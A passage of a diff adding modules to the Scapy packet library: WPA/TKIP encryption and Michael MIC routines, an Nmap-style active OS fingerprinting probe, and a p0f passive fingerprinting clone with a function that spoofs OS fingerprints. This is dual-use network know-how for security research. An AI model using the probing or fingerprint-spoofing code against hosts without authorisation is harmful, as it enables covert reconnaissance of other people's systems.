+    PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2])))
+    PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ _MK16(TK[5], TK[4])))
+    PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6])))
+    PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8])))
+    PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10])))
+
+    PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12])))
+    PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14])))
+    PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1]))
+    PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2]))
+    PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3]))
+    PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4]))
+
+    # Phase 2 - Step 3
+    WEPSeed = []
+    WEPSeed.append(TSC[1])
+    WEPSeed.append((TSC[1] | 0x20) & 0x7f)
+    WEPSeed.append(TSC[0])
+    WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF)
+    for i in xrange(6):
+        WEPSeed.append(PPK[i] & 0xFF)
+        WEPSeed.append(PPK[i] >> 8)
+
+    assert len(WEPSeed) == 16
+
+    return "".join([chr(x) for x in WEPSeed])
+
+# TKIP - Michael
+# Tested against cryptopy (crypto.keyedHash.michael: Michael)
+
+def _rotate_right32(value, shift):
+    return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF
+
+def _rotate_left32(value, shift):
+    return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF
+
+def _XSWAP(value):
+    """Swap 2 least significant bytes of @value"""
+    return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8)
+
+def _michael_b(l, r):
+    """Defined in 802.11i p.49"""
+    r = r ^ _rotate_left32(l, 17)
+    l = (l + r) % 2**32
+    r = r ^ _XSWAP(l)
+    l = (l + r) % 2**32
+    r = r ^ _rotate_left32(l, 3)
+    l = (l + r) % 2**32
+    r = r ^ _rotate_right32(l, 2)
+    l = (l + r) % 2**32
+    return l, r
+
+def michael(key, to_hash):
+    """Defined in 802.11i p.48"""
+
+    # Block size: 4
+    nb_block, nb_extra_bytes = divmod(len(to_hash), 4)
+    # Add padding
+    data = to_hash + chr(0x5a) + "\x00" * (7 - nb_extra_bytes)
+
+    # Hash
+    l, r = unpack('<II', key)
+    for i in xrange(nb_block + 2):
+        # Convert i-th block to int
+        block_i = unpack('<I', data[i*4:i*4 + 4])[0]
+        l ^= block_i
+        l, r = _michael_b(l, r)
+    return pack('<II', l, r)
+
+# TKIP packet utils
+
+def parse_TKIP_hdr(pkt):
+    """Extract TSCs, TA and encoded-data from a packet @pkt"""
+    # Note: FCS bit is not handled
+    assert pkt.FCfield.wep
+
+    # 802.11i - 8.3.2.2
+    payload = BytesIO(pkt[Raw].load)
+    TSC1, WEPseed, TSC0, bitfield = (orb(x) for x in payload.read(4))
+    if bitfield & (1 << 5):
+        # Extended IV
+        TSC2, TSC3, TSC4, TSC5 = (orb(x) for x in payload.read(4))
+    else:
+        TSC2, TSC3, TSC4, TSC5 = None, None, None, None
+        # 802.11i p. 46
+        raise ValueError("Extended IV must be set for TKIP")
+
+    # 802.11i p. 46
+    assert (TSC1 | 0x20) & 0x7f == WEPseed
+
+    TA = [orb(e) for e in hex_bytes(pkt.addr2.replace(':', ''))]
+    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]
+
+    return TSC, TA, payload.read()
+
+def build_TKIP_payload(data, iv, mac, tk):
+    """Build a TKIP header for IV @iv and mac @mac, and encrypt @data
+    based on temporal key @tk
+    """
+    TSC5, TSC4, TSC3, TSC2, TSC1, TSC0 = (
+        (iv >> 40) & 0xFF,
+        (iv >> 32) & 0xFF,
+        (iv >> 24) & 0xFF,
+        (iv >> 16) & 0xFF,
+        (iv >> 8) & 0xFF,
+        iv & 0xFF
+    )
+    bitfield = 1 << 5 # Extended IV
+    TKIP_hdr = chr(TSC1) + chr((TSC1 | 0x20) & 0x7f) + chr(TSC0) + chr(bitfield)
+    TKIP_hdr += chr(TSC2) + chr(TSC3) + chr(TSC4) + chr(TSC5)
+
+    TA = [orb(e) for e in hex_bytes(mac.replace(':', ''))]
+    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]
+    TK = [orb(x) for x in tk]
+
+    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)
+    return TKIP_hdr + ARC4_encrypt(rc4_key, data)
+
+def parse_data_pkt(pkt, tk):
+    """Extract data from a WPA packet @pkt with temporal key @tk"""
+    TSC, TA, data = parse_TKIP_hdr(pkt)
+    TK = [orb(x) for x in tk]
+
+    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)
+    return ARC4_decrypt(rc4_key, data)
+
+class ICVError(Exception):
+    """The expected ICV is not the computed one"""
+    pass
+
+class MICError(Exception):
+    """The expected MIC is not the computed one"""
+    pass
+
+def check_MIC_ICV(data, mic_key, source, dest):
+    """Check MIC, ICV & return the data from a decrypted TKIP packet"""
+    assert len(data) > 12
+
+    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV
+    # 802.11i p.47
+
+    ICV = data[-4:]
+    MIC = data[-12:-4]
+    data_clear = data[:-12]
+
+    expected_ICV = pack("<I", crc32(data_clear + MIC) & 0xFFFFFFFF)
+    if expected_ICV != ICV:
+        raise ICVError()
+
+    sa = hex_bytes(source.replace(":", "")) # Source MAC
+    da = hex_bytes(dest.replace(":", "")) # Dest MAC
+
+    expected_MIC = michael(mic_key, da + sa + "\x00" + "\x00" * 3 + data_clear)
+    if expected_MIC != MIC:
+        raise MICError()
+
+    return data_clear
+
+def build_MIC_ICV(data, mic_key, source, dest):
+    """Compute and return the data with its MIC and ICV"""
+    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV
+    # 802.11i p.47
+
+    sa = hex_bytes(source.replace(":", "")) # Source MAC
+    da = hex_bytes(dest.replace(":", "")) # Dest MAC
+    MIC = michael(mic_key, da + sa + "\x00" + "\x00" * 3 + data)
+    ICV = pack("<I", crc32(data + MIC) & 0xFFFFFFFF)
+
+    return data + MIC + ICV
diff --git a/scapy/modules/nmap.py b/scapy/modules/nmap.py
new file mode 100644
index 0000000..43c5181
--- /dev/null
+++ b/scapy/modules/nmap.py
@@ -0,0 +1,221 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""Clone of Nmap's first generation OS fingerprinting.
+
+This code works with the first-generation OS detection and
+nmap-os-fingerprints, which has been removed from Nmap on November 3,
+2007 (https://github.com/nmap/nmap/commit/50c49819), which means it is
+outdated.
+
+To get the last published version of this outdated fingerprint
+database, you can fetch it from
+<https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints>.
+
+"""
+
+from __future__ import absolute_import
+import os
+import re
+
+from scapy.data import KnowledgeBase
+from scapy.config import conf
+from scapy.arch import WINDOWS
+from scapy.error import warning
+from scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror
+from scapy.packet import NoPayload
+from scapy.sendrecv import sr
+from scapy.compat import *
+import scapy.modules.six as six
+
+
+if WINDOWS:
+    conf.nmap_base = os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints"
+else:
+    conf.nmap_base = "/usr/share/nmap/nmap-os-fingerprints"
+
+
+######################
+## nmap OS fp stuff ##
+######################
+
+
+_NMAP_LINE = re.compile('^([^\\(]*)\\(([^\\)]*)\\)$')
+
+
+class NmapKnowledgeBase(KnowledgeBase):
+    """A KnowledgeBase specialized in Nmap first-generation OS
+fingerprints database. Loads from conf.nmap_base when self.filename is
+None.
+
+    """
+    def lazy_init(self):
+        try:
+            fdesc = open(conf.nmap_base
+                         if self.filename is None else
+                         self.filename, "rb")
+        except (IOError, TypeError):
+            warning("Cannot open nmap database [%s]", self.filename)
+            self.filename = None
+            return
+
+        self.base = []
+        name = None
+        sig = {}
+        for line in fdesc:
+            line = plain_str(line)
+            line = line.split('#', 1)[0].strip()
+            if not line:
+                continue
+            if line.startswith("Fingerprint "):
+                if name is not None:
+                    self.base.append((name, sig))
+                name = line[12:].strip()
+                sig = {}
+                continue
+            if line.startswith("Class "):
+                continue
+            line = _NMAP_LINE.search(line)
+            if line is None:
+                continue
+            test, values = line.groups()
+            sig[test] = dict(val.split('=', 1) for val in
+                             (values.split('%') if values else []))
+        if name is not None:
+            self.base.append((name, sig))
+        fdesc.close()
+
+
+nmap_kdb = NmapKnowledgeBase(None)
+
+
+def nmap_tcppacket_sig(pkt):
+    res = {}
+    if pkt is not None:
+        res["DF"] = "Y" if pkt.flags.DF else "N"
+        res["W"] = "%X" % pkt.window
+        res["ACK"] = "S++" if pkt.ack == 2 else "S" if pkt.ack == 1 else "O"
+        res["Flags"] = str(pkt[TCP].flags)[::-1]
+        res["Ops"] = "".join(x[0][0] for x in pkt[TCP].options)
+    else:
+        res["Resp"] = "N"
+    return res
+
+
+def nmap_udppacket_sig(snd, rcv):
+    res = {}
+    if rcv is None:
+        res["Resp"] = "N"
+    else:
+        res["DF"] = "Y" if rcv.flags.DF else "N"
+        res["TOS"] = "%X" % rcv.tos
+        res["IPLEN"] = "%X" % rcv.len
+        res["RIPTL"] = "%X" % rcv.payload.payload.len
+        res["RID"] = "E" if snd.id == rcv[IPerror].id else "F"
+        res["RIPCK"] = "E" if snd.chksum == rcv[IPerror].chksum else (
+            "0" if rcv[IPerror].chksum == 0 else "F"
+        )
+        res["UCK"] = "E" if snd.payload.chksum == rcv[UDPerror].chksum else (
+            "0" if rcv[UDPerror].chksum == 0 else "F"
+        )
+        res["ULEN"] = "%X" % rcv[UDPerror].len
+        res["DAT"] = "E" if (
+            isinstance(rcv[UDPerror].payload, NoPayload) or
+            raw(rcv[UDPerror].payload) == raw(snd[UDP].payload)
+        ) else "F"
+    return res
+
+
+def nmap_match_one_sig(seen, ref):
+    cnt = sum(val in ref.get(key, "").split("|")
+              for key, val in six.iteritems(seen))
+    if cnt == 0 and seen.get("Resp") == "N":
+        return 0.7
+    return float(cnt) / len(seen)
+
+
+def nmap_sig(target, oport=80, cport=81, ucport=1):
+    res = {}
+
+    tcpopt = [("WScale", 10),
+              ("NOP", None),
+              ("MSS", 256),
+              ("Timestamp", (123, 0))]
+    tests = [
+        IP(dst=target, id=1) /
+        TCP(seq=1, sport=5001 + i, dport=oport if i < 4 else cport,
+            options=tcpopt, flags=flags)
+        for i, flags in enumerate(["CS", "", "SFUP", "A", "S", "A", "FPU"])
+    ]
+    tests.append(IP(dst=target)/UDP(sport=5008, dport=ucport)/(300 * "i"))
+
+    ans, unans = sr(tests, timeout=2)
+    ans.extend((x, None) for x in unans)
+
+    for snd, rcv in ans:
+        if snd.sport == 5008:
+            res["PU"] = (snd, rcv) 
+        else:
+            test = "T%i" % (snd.sport - 5000)
+            if rcv is not None and ICMP in rcv:
+                warning("Test %s answered by an ICMP", test)
+                rcv = None
+            res[test] = rcv
+
+    return nmap_probes2sig(res)
+
+def nmap_probes2sig(tests):
+    tests = tests.copy()
+    res = {}
+    if "PU" in tests:
+        res["PU"] = nmap_udppacket_sig(*tests["PU"])
+        del tests["PU"]
+    for k in tests:
+        res[k] = nmap_tcppacket_sig(tests[k])
+    return res
+
+
+def nmap_search(sigs):
+    guess = 0, []
+    for osval, fprint in nmap_kdb.get_base():
+        score = 0.0
+        for test, values in six.iteritems(fprint):
+            if test in sigs:
+                score += nmap_match_one_sig(sigs[test], values)
+        score /= len(sigs)
+        if score > guess[0]:
+            guess = score, [osval]
+        elif score == guess[0]:
+            guess[1].append(osval)
+    return guess
+
+
+@conf.commands.register
+def nmap_fp(target, oport=80, cport=81):
+    """nmap fingerprinting
+nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy
+"""
+    sigs = nmap_sig(target, oport, cport)
+    return nmap_search(sigs)
+
+
+@conf.commands.register
+def nmap_sig2txt(sig):
+    torder = ["TSeq", "T1", "T2", "T3", "T4", "T5", "T6", "T7", "PU"]
+    korder = ["Class", "gcd", "SI", "IPID", "TS",
+              "Resp", "DF", "W", "ACK", "Flags", "Ops",
+              "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT"]
+    txt = []
+    for i in sig:
+        if i not in torder:
+            torder.append(i)
+    for test in torder:
+        testsig = sig.get(test)
+        if testsig is None:
+            continue
+        txt.append("%s(%s)" % (test, "%".join(
+            "%s=%s" % (key, testsig[key]) for key in korder if key in testsig
+        )))
+    return "\n".join(txt)
diff --git a/scapy/modules/p0f.py b/scapy/modules/p0f.py
new file mode 100644
index 0000000..6c2fc09
--- /dev/null
+++ b/scapy/modules/p0f.py
@@ -0,0 +1,603 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Clone of p0f passive OS fingerprinting
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import time
+import struct
+import os
+import socket
+import random
+
+from scapy.data import KnowledgeBase
+from scapy.config import conf
+from scapy.compat import raw
+from scapy.layers.inet import IP, TCP, TCPOptions
+from scapy.packet import NoPayload, Packet
+from scapy.error import warning, Scapy_Exception, log_runtime
+from scapy.volatile import RandInt, RandByte, RandChoice, RandNum, RandShort, RandString
+from scapy.sendrecv import sniff
+from scapy.modules import six
+from scapy.modules.six.moves import map, range
+if conf.route is None:
+    # unused import, only to initialize conf.route
+    import scapy.route
+
+conf.p0f_base ="/etc/p0f/p0f.fp"
+conf.p0fa_base ="/etc/p0f/p0fa.fp"
+conf.p0fr_base ="/etc/p0f/p0fr.fp"
+conf.p0fo_base ="/etc/p0f/p0fo.fp"
+
+
+###############
+## p0f stuff ##
+###############
+
+# File format (according to p0f.fp) :
+#
+# wwww:ttt:D:ss:OOO...:QQ:OS:Details
+#
+# wwww    - window size
+# ttt     - initial TTL
+# D       - don't fragment bit  (0=unset, 1=set) 
+# ss      - overall SYN packet size
+# OOO     - option value and order specification
+# QQ      - quirks list
+# OS      - OS genre
+# details - OS description
+
+class p0fKnowledgeBase(KnowledgeBase):
+    def __init__(self, filename):
+        KnowledgeBase.__init__(self, filename)
+        #self.ttl_range=[255]
+    def lazy_init(self):
+        try:
+            f=open(self.filename)
+        except IOError:
+            warning("Can't open base %s", self.filename)
+            return
+        try:
+            self.base = []
+            for l in f:
+                if l[0] in ["#","\n"]:
+                    continue
+                l = tuple(l.split(":"))
+                if len(l) < 8:
+                    continue
+                def a2i(x):
+                    if x.isdigit():
+                        return int(x)
+                    return x
+                li = [a2i(e) for e in l[1:4]]
+                #if li[0] not in self.ttl_range:
+                #    self.ttl_range.append(li[0])
+                #    self.ttl_range.sort()
+                self.base.append((l[0], li[0], li[1], li[2], l[4], l[5], l[6], l[7][:-1]))
+        except:
+            warning("Can't parse p0f database (new p0f version ?)")
+            self.base = None
+        f.close()
+
+p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb = None, None, None, None
+
+def p0f_load_knowledgebases():
+    global p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb
+    p0f_kdb = p0fKnowledgeBase(conf.p0f_base)
+    p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base)
+    p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base)
+    p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base)
+
+p0f_load_knowledgebases()
+
+def p0f_selectdb(flags):
+    # tested flags: S, R, A
+    if flags & 0x16 == 0x2:
+        # SYN
+        return p0f_kdb
+    elif flags & 0x16 == 0x12:
+        # SYN/ACK
+        return p0fa_kdb
+    elif flags & 0x16 in [ 0x4, 0x14 ]:
+        # RST RST/ACK
+        return p0fr_kdb
+    elif flags & 0x16 == 0x10:
+        # ACK
+        return p0fo_kdb
+    else:
+        return None
+
+def packet2p0f(pkt):
+    pkt = pkt.copy()
+    pkt = pkt.__class__(raw(pkt))
+    while pkt.haslayer(IP) and pkt.haslayer(TCP):
+        pkt = pkt.getlayer(IP)
+        if isinstance(pkt.payload, TCP):
+            break
+        pkt = pkt.payload
+    
+    if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP):
+        raise TypeError("Not a TCP/IP packet")
+    #if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R
+    #    raise TypeError("Not a SYN or SYN/ACK packet")
+    
+    db = p0f_selectdb(pkt.payload.flags)
+    
+    #t = p0f_kdb.ttl_range[:]
+    #t += [pkt.ttl]
+    #t.sort()
+    #ttl=t[t.index(pkt.ttl)+1]
+    ttl = pkt.ttl
+    
+    ss = len(pkt)
+    # from p0f/config.h : PACKET_BIG = 100
+    if ss > 100:
+        if db == p0fr_kdb:
+            # p0fr.fp: "Packet size may be wildcarded. The meaning of
+            #           wildcard is, however, hardcoded as 'size >
+            #           PACKET_BIG'"
+            ss = '*'
+        else:
+            ss = 0
+    if db == p0fo_kdb:
+        # p0fo.fp: "Packet size MUST be wildcarded."
+        ss = '*'
+    
+    ooo = ""
+    mss = -1
+    qqT = False
+    qqP = False
+    #qqBroken = False
+    ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c
+    for option in pkt.payload.options:
+        ilen -= 1
+        if option[0] == "MSS":
+            ooo += "M" + str(option[1]) + ","
+            mss = option[1]
+            # FIXME: qqBroken
+            ilen -= 3
+        elif option[0] == "WScale":
+            ooo += "W" + str(option[1]) + ","
+            # FIXME: qqBroken
+            ilen -= 2
+        elif option[0] == "Timestamp":
+            if option[1][0] == 0:
+                ooo += "T0,"
+            else:
+                ooo += "T,"
+            if option[1][1] != 0:
+                qqT = True
+            ilen -= 9
+        elif option[0] == "SAckOK":
+            ooo += "S,"
+            ilen -= 1
+        elif option[0] == "NOP":
+            ooo += "N,"
+        elif option[0] == "EOL":
+            ooo += "E,"
+            if ilen > 0:
+                qqP = True
+        else:
+            if isinstance(option[0], str):
+                ooo += "?%i," % TCPOptions[1][option[0]]
+            else:
+                ooo += "?%i," % option[0]
+            # FIXME: ilen
+    ooo = ooo[:-1]
+    if ooo == "": ooo = "."
+    
+    win = pkt.payload.window
+    if mss != -1:
+        if mss != 0 and win % mss == 0:
+            win = "S" + str(win/mss)
+        elif win % (mss + 40) == 0:
+            win = "T" + str(win/(mss+40))
+    win = str(win)
+    
+    qq = ""
+    
+    if db == p0fr_kdb:
+        if pkt.payload.flags & 0x10 == 0x10:
+            # p0fr.fp: "A new quirk, 'K', is introduced to denote
+            #           RST+ACK packets"
+            qq += "K"
+    # The two next cases should also be only for p0f*r*, but although
+    # it's not documented (or I have not noticed), p0f seems to
+    # support the '0' and 'Q' quirks on any databases (or at the least
+    # "classical" p0f.fp).
+    if pkt.payload.seq == pkt.payload.ack:
+        # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number
+        #           equal to ACK number."
+        qq += "Q"
+    if pkt.payload.seq == 0:
+        # p0fr.fp: "A new quirk, '0', is used to denote packets
+        #           with SEQ number set to 0."
+        qq += "0"
+    if qqP:
+        qq += "P"
+    if pkt.id == 0:
+        qq += "Z"
+    if pkt.options != []:
+        qq += "I"
+    if pkt.payload.urgptr != 0:
+        qq += "U"
+    if pkt.payload.reserved != 0:
+        qq += "X"
+    if pkt.payload.ack != 0:
+        qq += "A"
+    if qqT:
+        qq += "T"
+    if db == p0fo_kdb:
+        if pkt.payload.flags & 0x20 != 0:
+            # U
+            # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks"
+            qq += "F"
+    else:
+        if pkt.payload.flags & 0x28 != 0:
+            # U or P
+            qq += "F"
+    if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload):
+        # p0fo.fp: "'D' quirk is not checked for."
+        qq += "D"
+    # FIXME : "!" - broken options segment: not handled yet
+
+    if qq == "":
+        qq = "."
+
+    return (db, (win, ttl, pkt.flags.DF, ss, ooo, qq))
+
+def p0f_correl(x,y):
+    d = 0
+    # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with
+    # the x[0] == y[0] test.
+    d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0))
+    # ttl
+    d += (y[1] >= x[1] and y[1] - x[1] < 32)
+    for i in [2, 5]:
+        d += (x[i] == y[i] or y[i] == '*')
+    # '*' has a special meaning for ss
+    d += x[3] == y[3]
+    xopt = x[4].split(",")
+    yopt = y[4].split(",")
+    if len(xopt) == len(yopt):
+        same = True
+        for i in range(len(xopt)):
+            if not (xopt[i] == yopt[i] or
+                    (len(yopt[i]) == 2 and len(xopt[i]) > 1 and
+                     yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or
+                    (len(yopt[i]) > 2 and len(xopt[i]) > 1 and
+                     yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and
+                     int(xopt[i][1:]) % int(yopt[i][2:]) == 0)):
+                same = False
+                break
+        if same:
+            d += len(xopt)
+    return d
+
+
+@conf.commands.register
+def p0f(pkt):
+    """Passive OS fingerprinting: which OS emitted this TCP packet ?
+p0f(packet) -> accuracy, [list of guesses]
+"""
+    db, sig = packet2p0f(pkt)
+    if db:
+        pb = db.get_base()
+    else:
+        pb = []
+    if not pb:
+        warning("p0f base empty.")
+        return []
+    #s = len(pb[0][0])
+    r = []
+    max = len(sig[4].split(",")) + 5
+    for b in pb:
+        d = p0f_correl(sig,b)
+        if d == max:
+            r.append((b[6], b[7], b[1] - pkt[IP].ttl))
+    return r
+
+def prnp0f(pkt):
+    """Calls p0f and returns a user-friendly output"""
+    # we should print which DB we use
+    try:
+        r = p0f(pkt)
+    except:
+        return
+    if r == []:
+        r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None)
+    else:
+        r = r[0]
+    uptime = None
+    try:
+        uptime = pkt2uptime(pkt)
+    except:
+        pass
+    if uptime == 0:
+        uptime = None
+    res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1])
+    if uptime is not None:
+        res += pkt.sprintf(" (up: " + str(uptime/3600) + " hrs)\n  -> %IP.dst%:%TCP.dport% (%TCP.flags%)")
+    else:
+        res += pkt.sprintf("\n  -> %IP.dst%:%TCP.dport% (%TCP.flags%)")
+    if r[2] is not None:
+        res += " (distance " + str(r[2]) + ")"
+    print(res)
+
+@conf.commands.register
+def pkt2uptime(pkt, HZ=100):
+    """Calculate the date the machine which emitted the packet booted using TCP timestamp 
+pkt2uptime(pkt, [HZ=100])"""
+    if not isinstance(pkt, Packet):
+        raise TypeError("Not a TCP packet")
+    if isinstance(pkt,NoPayload):
+        raise TypeError("Not a TCP packet")
+    if not isinstance(pkt, TCP):
+        return pkt2uptime(pkt.payload)
+    for opt in pkt.options:
+        if opt[0] == "Timestamp":
+            #t = pkt.time - opt[1][0] * 1.0/HZ
+            #return time.ctime(t)
+            t = opt[1][0] / HZ
+            return t
+    raise TypeError("No timestamp option")
+
+def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None,
+                    extrahops=0, mtu=1500, uptime=None):
+    """Modifies pkt so that p0f will think it has been sent by a
+specific OS.  If osdetails is None, then we randomly pick up a
+personality matching osgenre. If osgenre and signature are also None,
+we use a local signature (using p0f_getlocalsigs). If signature is
+specified (as a tuple), we use the signature.
+
+For now, only TCP Syn packets are supported.
+Some specifications of the p0f.fp file are not (yet) implemented."""
+    pkt = pkt.copy()
+    #pkt = pkt.__class__(raw(pkt))
+    while pkt.haslayer(IP) and pkt.haslayer(TCP):
+        pkt = pkt.getlayer(IP)
+        if isinstance(pkt.payload, TCP):
+            break
+        pkt = pkt.payload
+    
+    if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP):
+        raise TypeError("Not a TCP/IP packet")
+
+    db = p0f_selectdb(pkt.payload.flags)
+    if osgenre:
+        pb = db.get_base()
+        if pb is None:
+            pb = []
+        pb = [x for x in pb if x[6] == osgenre]
+        if osdetails:
+            pb = [x for x in pb if x[7] == osdetails]
+    elif signature:
+        pb = [signature]
+    else:
+        pb = p0f_getlocalsigs()[db]
+    if db == p0fr_kdb:
+        # 'K' quirk <=> RST+ACK
+        if pkt.payload.flags & 0x4 == 0x4:
+            pb = [x for x in pb if 'K' in x[5]]
+        else:
+            pb = [x for x in pb if 'K' not in x[5]]
+    if not pb:
+        raise Scapy_Exception("No match in the p0f database")
+    pers = pb[random.randint(0, len(pb) - 1)]
+    
+    # options (we start with options because of MSS)
+    # Take the options already set as "hints" to use in the new packet if we
+    # can. MSS, WScale and Timestamp can all be wildcarded in a signature, so
+    # we'll use the already-set values if they're valid integers.
+    orig_opts = dict(pkt.payload.options)
+    int_only = lambda val: val if isinstance(val, six.integer_types) else None
+    mss_hint = int_only(orig_opts.get('MSS'))
+    wscale_hint = int_only(orig_opts.get('WScale'))
+    ts_hint = [int_only(o) for o in orig_opts.get('Timestamp', (None, None))]
+
+    options = []
+    if pers[4] != '.':
+        for opt in pers[4].split(','):
+            if opt[0] == 'M':
+                # MSS might have a maximum size because of window size
+                # specification
+                if pers[0][0] == 'S':
+                    maxmss = (2**16-1) // int(pers[0][1:])
+                else:
+                    maxmss = (2**16-1)
+                # disregard hint if out of range
+                if mss_hint and not 0 <= mss_hint <= maxmss:
+                    mss_hint = None
+                # If we have to randomly pick up a value, we cannot use
+                # scapy RandXXX() functions, because the value has to be
+                # set in case we need it for the window size value. That's
+                # why we use random.randint()
+                if opt[1:] == '*':
+                    if mss_hint is not None:
+                        options.append(('MSS', mss_hint))
+                    else:
+                        options.append(('MSS', random.randint(1, maxmss)))
+                elif opt[1] == '%':
+                    coef = int(opt[2:])
+                    if mss_hint is not None and mss_hint % coef == 0:
+                        options.append(('MSS', mss_hint))
+                    else:
+                        options.append((
+                            'MSS', coef*random.randint(1, maxmss//coef)))
+                else:
+                    options.append(('MSS', int(opt[1:])))
+            elif opt[0] == 'W':
+                if wscale_hint and not 0 <= wscale_hint < 2**8:
+                    wscale_hint = None
+                if opt[1:] == '*':
+                    if wscale_hint is not None:
+                        options.append(('WScale', wscale_hint))
+                    else:
+                        options.append(('WScale', RandByte()))
+                elif opt[1] == '%':
+                    coef = int(opt[2:])
+                    if wscale_hint is not None and wscale_hint % coef == 0:
+                        options.append(('WScale', wscale_hint))
+                    else:
+                        options.append((
+                            'WScale', coef*RandNum(min=1, max=(2**8-1)//coef)))
+                else:
+                    options.append(('WScale', int(opt[1:])))
+            elif opt == 'T0':
+                options.append(('Timestamp', (0, 0)))
+            elif opt == 'T':
+                # Determine first timestamp.
+                if uptime is not None:
+                    ts_a = uptime
+                elif ts_hint[0] and 0 < ts_hint[0] < 2**32:
+                    # Note: if first ts is 0, p0f registers it as "T0" not "T",
+                    # hence we don't want to use the hint if it was 0.
+                    ts_a = ts_hint[0]
+                else:
+                    ts_a = random.randint(120, 100*60*60*24*365)
+                # Determine second timestamp.
+                if 'T' not in pers[5]:
+                    ts_b = 0
+                elif ts_hint[1] and 0 < ts_hint[1] < 2**32:
+                    ts_b = ts_hint[1]
+                else:
+                    # FIXME: RandInt() here does not work (bug (?) in
+                    # TCPOptionsField.m2i often raises "OverflowError:
+                    # long int too large to convert to int" in:
+                    #    oval = struct.pack(ofmt, *oval)"
+                    # Actually, this is enough to often raise the error:
+                    #    struct.pack('I', RandInt())
+                    ts_b = random.randint(1, 2**32-1)
+                options.append(('Timestamp', (ts_a, ts_b)))
+            elif opt == 'S':
+                options.append(('SAckOK', ''))
+            elif opt == 'N':
+                options.append(('NOP', None))
+            elif opt == 'E':
+                options.append(('EOL', None))
+            elif opt[0] == '?':
+                if int(opt[1:]) in TCPOptions[0]:
+                    optname = TCPOptions[0][int(opt[1:])][0]
+                    optstruct = TCPOptions[0][int(opt[1:])][1]
+                    options.append((optname,
+                                    struct.unpack(optstruct,
+                                                  RandString(struct.calcsize(optstruct))._fix())))
+                else:
+                    options.append((int(opt[1:]), ''))
+            ## FIXME: qqP not handled
+            else:
+                warning("unhandled TCP option " + opt)
+            pkt.payload.options = options
+    
+    # window size
+    if pers[0] == '*':
+        pkt.payload.window = RandShort()
+    elif pers[0].isdigit():
+        pkt.payload.window = int(pers[0])
+    elif pers[0][0] == '%':
+        coef = int(pers[0][1:])
+        pkt.payload.window = coef * RandNum(min=1, max=(2**16-1)//coef)
+    elif pers[0][0] == 'T':
+        pkt.payload.window = mtu * int(pers[0][1:])
+    elif pers[0][0] == 'S':
+        ## needs MSS set
+        mss = [x for x in options if x[0] == 'MSS']
+        if not mss:
+            raise Scapy_Exception("TCP window value requires MSS, and MSS option not set")
+        pkt.payload.window = mss[0][1] * int(pers[0][1:])
+    else:
+        raise Scapy_Exception('Unhandled window size specification')
+    
+    # ttl
+    pkt.ttl = pers[1]-extrahops
+    # DF flag
+    pkt.flags |= (2 * pers[2])
+    ## FIXME: ss (packet size) not handled (how ? may be with D quirk
+    ## if present)
+    # Quirks
+    if pers[5] != '.':
+        for qq in pers[5]:
+            ## FIXME: not handled: P, I, X, !
+            # T handled with the Timestamp option
+            if qq == 'Z': pkt.id = 0
+            elif qq == 'U': pkt.payload.urgptr = RandShort()
+            elif qq == 'A': pkt.payload.ack = RandInt()
+            elif qq == 'F':
+                if db == p0fo_kdb:
+                    pkt.payload.flags |= 0x20 # U
+                else:
+                    pkt.payload.flags |= random.choice([8, 32, 40])  # P/U/PU
